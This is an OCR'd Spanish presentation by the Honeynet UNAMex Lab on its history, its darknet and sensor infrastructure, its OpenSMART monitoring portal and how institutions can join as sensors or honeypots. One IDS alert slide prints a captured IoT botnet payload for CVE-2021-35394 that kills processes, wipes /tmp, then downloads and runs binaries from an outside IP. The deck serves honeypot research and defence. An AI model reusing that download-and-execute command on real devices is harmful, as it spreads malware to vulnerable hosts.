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The Honeynet Project

El Proyecto Honeynet es una organizacioén internacional
lider en investigacion de seguridad sin fines de lucro,
501c3, dedicada a investigar los ataques mds recientes
y desarrollar herramientas de seguridad de cédigo
abierto para mejorar la seguridad en internet. Con sedes
en todo el mundo, nuestros voluntarios han contribuido
a la lucha contra malware (como Confickr),
descubriendo nuevos ataques y creando herramientas
de seguridad utilizadas por empresas y organismos
gubernamentales de todo el mundo. La organizacion se ST S
mantiene a la vanguardia de la investigacion de -
seguridad, trabajando para analizar los ataques mds s
recientes y educando al publico sobre las amenazas a

los sistemas de informacién en todo el mundo.
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Honeynet UNAMex

Honeynet UNAMex Lab es un grupo de investigacion independiente y abierto
en ciberseguridad, organizado por voluntarios con diversas trayectorias,
incluyendo DFIR, Threat Hunting, Administracién de Sistemas, Inteligencia de
Amenazas y Deception/Honeypots.

Nuestros miembros y colaboradores provienen tanto de la industria como del
mundo académico.

Las raices del equipo se remontan a proyectos desarrollados o inspirados por el
trabajo del antiguo UNAM-CERT y del Proyecto Honeynet UNAM-Chapter.

Honeynet UNAMex es la nueva generacion del proyecto, ahora independiente y de
colaboracion abierta que da continuidad a la historia del antiguo proyecto.

Honeynet UNAMex colabora oficialmente en The Honeynet Project
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Historia de Honeynet UNAM

De los primeros honeypots en la red universitaria (2002)

A la nueva etapa abierta como Honeynet UNAMex Lab en 2025
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Inicio en UNAM UNAMex
COSMIC
UNAM-CERT Chapter Lab

Historia del proyecto Honeynet UNAM
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Honeynet UNAM / UNAMex Lab

2002-2007: los origenes en la UNAM

El proyecto nace dentro del UNAM-CERT y conecta la experiencia operativa
universitaria con el movimiento internacional de The Honeynet Project.

Miembros de UNAM-CERT

‘ 2002 comienzan a trabajar con tecnologias
honeypot dentro de la red

universitaria.

2006 La presencia del Honeynet Project en
‘ México ya es visible como Mexican
Chapter.
2007 Se lanza el UNAM Honeynet Project
‘ como capitulo local, con actividad en

México y América Latina.

Ciudad Universitaria, UNAM - DGSCA/DGTIC: el entorno académico
y operativo donde se incubd la etapa temprana del proyecto.

Idea clave: el proyecto no surge como experimento aislado, sino como una
extension de la respuesta y la investigacion en seguridad dentro de la UNAM.



Honeynet UNAM / UNAMex Lab

Un ecosistema de colaboracidn, formaciaon e inteligencia

Ademas de la infraestructura técnica, el capitulo se articulé con otras iniciativas de UNAM-CERT y con esfuerzos de capacitacién y divulgacion.

Nucleo operativo — Colaboracion Vinculacién con el Proyecto UNAM Malware,
técnica Sandbox, forense de red y entrenamiento
El proyecto integro la especializado.

captura de senales, el
analisis del trafico y la

. ., . e A2 Relacién con el Congreso internacional de
VIsu_a!lzaC|on de actividad F?rmiCIon y Seguridad UNAM y con programas de
maliciosa para apoyar difusion capacitacién en ciberseguridad.

investigacion y respuesta.

, . —— Impacto en el Produccién de referencias técnicas e inteligencia
Mas que sensores: una ) P . atil para universidades e institutos de investigacion
plataforma de observacion y ecosistema en México.

colaboracion

La historia del proyecto muestra que su valor estuvo tanto en la infraestructura de observacion como en la comunidad técnica que se formo
alrededor de ella.



Honeynet UNAM / UNAMex Lab

2015-2022: continuidad y transiciéon con el COSMIC-Chapter

La salida de miembros del UNAM-CERT del proyecto
llevd a la creacion de un capitulo hermano al UNAM
chapter llamado COSMIC Chapter para continuar
vinculados a The Honeynet Project de manera
independiente.

. ‘ ‘ Archivo del COSMIC-Labs Team, capftulo impulsado por ex miembros del
UNAM Chapter

2015 2014-2015 2022
Se mantiene
Nace (IjDestacalll PNAFI ctc))mo y comunicacién y
COSMIC-Chapter. esarrolio y colaboracion  colaboracion
visible en ese periodo. indirecta hasta este
ano.
Colaboracion La historia no fue lineal: hubo una fase de continuidad distribuida. COSMIC conservé conocimiento,

comunidad y practica técnica mientras el proyecto original siguié vinculado institucionalmente al

Independiente UNAM-GERT.



Honeynet UNAM / UNAMex Lab

2025: renace como Honeynet UNAMex Lab

Qué cambia en esta nueva
fase Comunidad
2025 ® Se actualizan herramientas, protocolos y abierta

estrategias de analisis. _
* Investigadores

Se agregan tecnologias emergentes y * Estudiantes
Nuevo capitulo ® adaptadas a tendencias de academia e * Docentes
industria como ciber decepcion y * Voluntarios
Honeynet automatizacion e IA. La invitacion ya no es solo a
UNAMex Lab o observar amenazas, sino a

El grupo se define como abierto,
in ndien rgani r
CEIMUENE CIETE S CEITIO :/o(:E Efar(ijcl)i r;eaﬁtgn?eandlzaudnz ?:glaboracién
reuniones durante febrero y .
el G S estrecha con entidades de la UNAM.

construir comunidad
alrededor de la investigacion
y la practica.

2002 2007 2015 2025

La historia completa desemboca en una reactivacion con continuidad, no en un reinicio absoluto.



Honeynet UNAM / UNAMex Lab

2007-2022: una red de sensores para observar el trafico malicioso

Durante la década siguiente, el capitulo desarrollo infraestructura y proyectos para detectar, procesar y visualizar
actividad maliciosa en redes acadéemicas.

Tres desarrollos emblematicos

—— PSTM

Plan de Sensores de Trafico Malicioso: una red de sensores
enfocada en capturar y analizar actividad hostil.

— UNAM-Darknet

Un honeypot/sinkhole a gran escala, con entre 50 mil y 70 mil
direcciones IP publicas y ruteo dinamico.

— Security Telescope

Plataforma para observar tendencias y senales del trafico
malicioso sobre infraestructura académica.

Resultado: el capitulo convirtié la observacion del trafico malicioso en
inteligencia util para investigacion, monitoreo y respuesta a incidentes




Honeynet UNAM / UNAMex Lab

UNAM Darknet

—— UNAM-Darknet

° Un honeypot/sinkhole a gran escala, con entre 50 mil y 70
mil direcciones IP publicas y ruteo dinamico.

Equipos que utilizan direcciones IP o segmentos de red . Captura de millones de payloads al dia y miles de
que no estan asignados dentro de un entorno de red.

muestras de malware diariamente

° Procesamiento de GB de informacién al dia con millones
de lineas de bitacoras

° Intercambio de informacion con otras entidades de
seguridad

DARKNET

Médulo Médulo
Honeypot STA (Structured Traffic Analysis)

f—‘ﬁ

Andlisis de DS Flujos

patrones

Andlisis de Andlisis de Andlisis de
payload alertas flujos

Captura de Informacién Informacion
malware estadistica estadistica

Figura 21. Esquema general del sistema de la Darknet UNAM




Honeynet UNAM / UNAMex Lab

Telescopio de Seguridad UNAM

Internet

Servidor
Darknet

RedUNAM

Base de datos
Darknet

Portal web

Telescopio

Seguridad
UNAM

Figura 19. Esquema general de la Darknet UNAM

Security Telescope

Plataforma para observar tendencias y sefales del trafico
malicioso sobre infraestructura académica.

Intercambio de informacién de datos de ciberinteligencia con otras
entidades de seguridad relacionadas con The Honeynet Project

Referencia no solo en México sino a nivel internacional uno de los
Telescopios de Seguridad mas extensos.




Honeynet UNAM / UNAMex Lab

Plan de Sensores de Trafico malicioso

Universidad de Guadalajara

Basado en la pagina About de Honeynet UNAMex Lab

ma de México

PSTM

Plan de Sensores de Trafico Malicioso: una red de sensores
enfocada en capturar y analizar actividad maliciosa.

Colaboracion con entidades académicas de la UNAM y otras
instituciones de educacion superior de México.

Sensor de monitoreo “SMART” (Sensor de Monitoreo, Analisis y
Recopilacion de Trafico) basado en Debian, Perl shell script y
herramientas de monitoreo de trafico como Snort, Argus, etc.
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Sensor de monitoreo

Monitoreo de Trafico de red

Control de trafico (Firewall)

Inspeccion y analisis de trafico: IDS (NG-IDS)
Plataforma de analisis de datos

Open EDR (seguridad a nivel de host)

VPN / Tunneling

Virtualizacion (VM/LXC/Docker)

Inventario de aplicaciones y manejo de vulnerabilidades
Tecnologias Honeypot




Sensor de monitoreo

OpenSMART v0.1 beta

Login <




Sensor de monitoreo

OpenSMART v1.01 beta

Initial setup - Create admin user =

Create admin user




Sensor de monitoreo

SMART Honeynet - Sensor Portal SMART Portal
OpenSMART v1.01 beta

SMART SUMMARY

Home

Threat and Network security visibility - By Honeynet UNAMeXx and Mizton Labs

% SMART Summary - Home

Traffic Overview
Configured file not found: /home/analista/OpenSMART-prototype-main/content/home-summary.md
Endpoint
Vulnerability Management

Honeypot

Monitoring Alerts



Sensor de monitoreo

OpenSMART v1.01 beta

SMART SUMMARY

e Home

SMART TOOLS

Firewall - OpnSen
ewall - OpnSense CONFIGURATION

Traffic - NTOP o Admin Config

Traffic Traffic - Arkime ; Wizard

Honeypot - T-pot Account

Status
Endpoint

iner - About
Vulnerability Container - LXC
Management

Cluster - Proxmox

Honeypot
SIEM - Wazuh

Monitoring Alerts




Sensor de monitoreo

Top 50 Signatures by Alert Count

Cate, Signature Name
Alerts gory 4

Malware Command and Control Activity
Detected

undefined 2015807 http ET MALWARE Backdoor.Win32.Pushdo.s Checkin
Generic Protocol Command Decode undefined 2220008 smtp SURICATA SMTP data command rejected
Generic Protocol Command Decode undefined 2221036 http SURICATA HTTP Response excessive header repetition
Not Suspicious Traffic form; undefined 2012982 smtp ET SMTP Abuseat.org Block Message
Potentially Bad Traffic High 2027863 dns ET INFO Observed DNS Query to .biz TLD
Generic Protocol Command Decode undefined 2220018 smtp SURICATA SMTP duplicate fields
Generic Protocol Command Decode undefined 2220006 smtp SURICATA SMTP no server welcome message
Generic Protocol Command Decode undefined 2260002 smtp SURICATA Applayer Detect protocol only one direction

Generic Protocol Command Decode undefined 2220000 smtp SURICATA SMTP invalid reply

Malware Command and Control Acti

undefined p ET MALWARE W32 /Kegotip CnC Beacon
Detected




Sensor de monitoreo

Signature details

Select signature for details

Detail
ET DROP Spamhaus DROP Listed Traffic Inbound group 21 g

Total alerts across all entries (filtered): 4233

Categories detected: 8
Byseverity:3: 1783 - Informational: “Major: | 2062 |*Minor:

Categories

s (@) (D €D @D
conecs (D) QD) D)

Signature Groups ! = n e MICDNS




Sensor de monitoreo

Signature details

Select signature for details

Detail
ET DROP Spamhaus DROP Listed Traffic Inbound group 21 eals

Details for signature: ET DROP Spamhaus DROP Listed Traffic Inbound group 21

Details for signature: ET DROP Spamhaus DROP Listed Traffic Inbound
group 21

timestamp src_ip src_port dest_ip dest port proto severity category signature

1970-01- 112.90.14329 53 100229 51974 ubpP 2 Misc ET DROP

03700:05:02.922145- Attack Spamhaus

0600 DROP
Listed
Traffic
Inbound
group 21




Sensor de monitoreo

Details for signature: ET DROP Spamhaus DROP Listed Traffic Inbound group 21

ature: ET DROP Spamhaus DROP Listed Traffic Inbound
N :

src_ip src_port dest_ip dest port proto severity category signature

11290.14329 53 10.0229 51974 UDP 2 Misc ET DROP
Attack Spamhaus
DROP
Listed
Traffic
Inbound
group 21




Sensor de monitoreo

Details for signature: ET MALWARE W32/Kegotip CnC Beacon

# timestamp src_ip src_port dest_ip dest_ port proto severity category signature
1 1970-01- 100229 49637 46.165.223.153 20051 TCP 1 Malware ET MALWARE
02718:09:26.054473- Command and W32/Kegotip
0600 Control Activity  CnC Beacon
Detected
2 1970-01- 1002.29 49637 46,165.223.153 20051 TCP 1 Malware ET MALWARE
02T718:09:26.054714- Command and W32/Kegotip
0600 Control Activit CnC Beacon
Detected
3 1970-01- 100229 49860 46.165.223.153 20051 TCP 1 Malware ET MALWARE
02T718:09:56.335282- Command and W32/Kegotip
0600 Control Activity CnC Beacon
Detected
- 1970-01- 10.02.29 49860 46.165.223.153 20051 TCP 1 Malware ET MALWARE
02T718:10:49.067055- Command and W32/Kegotip
0600 Control Activity CnC Beacon
Detected
5 1970-01- 100228 50159 46.165.223.153 20051 TCP 1 Malware ET MALWARE

02T18:10:49,467496- Command and W32/Kegotip



Sensor de monitoreo

dest_port

9034

proto

ubP

severity category

1 Attempted
Administrator
Privilege Gain

signature

ET EXPLOIT Realtek
SDK - Command
Execution/Backdoor

Access Inbound
(CVE-2021-35394)

payload_printable

orf; for pid in /proc/[©-9]*; do
pid_num="${pid##*/}"; if [ -r
"$pid/maps" ]; then
suspicious=true; while IFS= read -
r line; do case "$line" in
."/‘lib/"' I t"/libsd,". l -n .SO"')
suspicious=false; break;; esac;
done < "$pid/maps"; if [
"$suspicious" = true ]; then kill
-9 "$pid_num"; fi; fi; done; cd
/tmp; rm -rf *; /bin/busybox wget
http://140.233.190.82/iran.mipsel;
chmod 777 iran.mipsel;
/iran.mipsel rtk; /bin/busybox
wget
http://140.233.190.82/iran.mips;
chmod 777 iran.mips; ./iran.mips
rtk;




Sensor de monitoreo

Sesslons SPlView SPIiGraph Connections Hunt Files Stats History Settings Users




ensor de monitoreo

SPIView SPIGraph |Connections Hunt Files Stats History Settings Users




Modos de operacion - ;Como participar?
01. Modo Sensor Completo
02. Modo Sensor Lite
03. Modo Honeypot Cluster Node

04. Modo Honeypot Remoto Micro

05. Modo Honeypot Remoto NetDevice



Modos de operacion - ;Como participar?

Modo Sensor Completo
Sensor completo con capacidad de virtualizacién para monitoreo,
capturay analisis de datos y trafico de la entidad participante (port

mirror, bitdcoras, etc.)

Nota: El sensor se implementa y administra de manera local por la entidad
participante ya que contiene informacion interna. El usuario puede habilitar la opcién
de compartir solo datos estadisticos de ciber inteligencia generados por el sensor.

Modo Sensor Lite

Sensor de tamano limitado con capacidades para ejecutar
modulos especificos del framework de monitoreo: NIDS,
honeypot sencillo, VPN, etc. Implica procesamiento de datos

especificos y trafico limitado de la entidad participante.

Nota: El sensor se implementa y administra de manera local por la entidad
participante ya que contiene informacion interna. El usuario puede habilitar la opcién
de compartir solo datos estadisticos de ciber inteligencia generados por el sensor.

OpenSMART v1.01 beta

SMART Honeynet - Sensor Portal

Threat and Netw visibily - By Honeynet UNAMex and Mizlon Labs.

& SMART Summary - Home

Overview

Configured file not foun nalista/OpenSMART-prototype-main/c

SMART Portal



Modo Honeypot - Cluster Node
Sensor con capacidad de virtualizacién ejecutando las funciones completas de

Honeypot. Procesa sélo trafico de las direcciones IP publicas asignadas. Esta unido y

administrado por el cluster del proyecto Honeynet UNAMex.

Nota: NO se procesa trdfico interno de la entidad participante, sélo se generan datos estadisticos de ciberinteligencia proveniente

del trdfico publico hacia la IP del sensor.

Modo Honeypot Remoto - Micro

Sensor basado en Raspberry Pl o servidor pequeno que ejecuta las funciones
basicas para conectividad con el cluster de Honeynet UNAMex. Redirecciona el
trafico de la direccién IP publica y transfiere la ejecucién al cluster del proyecto
Honeynet UNAMex.

Nota: NO se procesa trdfico interno de la entidad participante, sélo se generan datos estadisticos de ciberinteligencia
proveniente del trdfico publico hacia la IP del sensor.

Modo Honeypot Remoto - NetDevice
No se necesita sensor. La participacion esta basada en proporcionar una o varias
direcciones IP y solo redireccionar el trafico en la infraestructura local (router,

switch L3, etc) hacia un nodo receptor en el cluster de Honeynet UNAMex.
Nota: NO se procesa trdfico interno de la entidad participante, sélo se generan datos estadisticos de
ciberinteligencia proveniente del trdfico publico hacia la IP del sensor.

Remote Client

THE INTERNET

TUREL

NAT + FIREVALL

3 B85

Server | e—» | Local Network




Requerimientos de hardware

MODO SENSOR COMPLETO 0
HONEYPOT CLUSTER NODE

8 CPUs +
8 GB RAM +
500GB +

11IP pﬁblica (solo en
modo Honeypot)

N Ota: Si el sensor sera destinado para

entorno de monitoreo y seguridad en produccion, se
recomienda un equipo con hardware para servidor
con alta di. ibilidad. En entidades con alta

cantidad de tréfico, se recomiendo al menos el doble
de estas especificaciones

MODO SENSOR LITE

4 CPUs

4 GB RAM
500GB

1 IP publica

N Ota: EI monitoreo de trafico podria verse

impactado dependiendo de la cantidad de tréfico de
la entidad participante y de los servicios que se
deseen utilizar. En entidades con alta cantidad de
trafico, se recomiendo al menos el doble de estas
especificaciones

MODO HONEYPOT REMOTO - MICRO

° Raspberry PI
(cualquier version)
° 1 IP publica

N Ota: Solo soporta médulos Honeypot y

adquisicion de datos de ciberinteligencia ya que no
se monitorea el trafico local.

MODO HONEYPOT REMOTO - NETDEV
(REDIRECCIONAMIENTO)

Configurar localmente el
redireccionamiento de al menos
1 IP publica (dispositivo de red,
servidor o con iptables, nftables,
pf o similar)

Nota:
. Solo soporta médulos Honeypot y
adquisicion de datos de
ciberinteligencia ya que no se
monitorea el trafico local.
. No se necesita un equipo dedicado para
el sensor.

[ T (e |

» | server | s | LocalNetwork



Requerimientos

Recomendacion

El mayor beneficio en términos de colaboracién con el proyecto Honeynet implica
asignar al sensor o redireccionamiento el mayor numero disponible de direcciones
IP.

El retiro de las IPs del proyecto puede ser transparente y sin necesidad de notificar al
proyecto siempre y cuando al menos 1 direccion IP esté siempre disponible para el
sensor-redireccionamiento.



Infraestructura Estudiantes
Otros tipos de Colaboracion ieSenidor é\@% O

Estudiantes para servicio social y/o practicas profesionales
Infraestructura disponible para el cluster
Difusion y organizacion de eventos

Colaboracion para
Investigacion

al u

Honeynet UNAMex esta disenando un programa de becas
en colaboracién con Mizton Labs
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https://miztonlabs.org
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Beneficios

Acceso a tecnologias abiertas para el reforzamiento de la
seguridad en las entidades participantes

Colaboracion en un proyecto académico y de investigacion
con visibilidad internacional

Participacién en comunidades abiertas de investigacion en
ciberseguridad

Intercambio de informacion de ciberinteligencia
Visibilidad con entidades académicas en Méxicoy LATAM
Participacién en eventos relacionados con ciberdefensa,
especificamente en el The Honeynet Workshop
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Muchas Gracias

contact@honeynet.org.mx

https://honeynet.org.mx

https://miztonlabs.org
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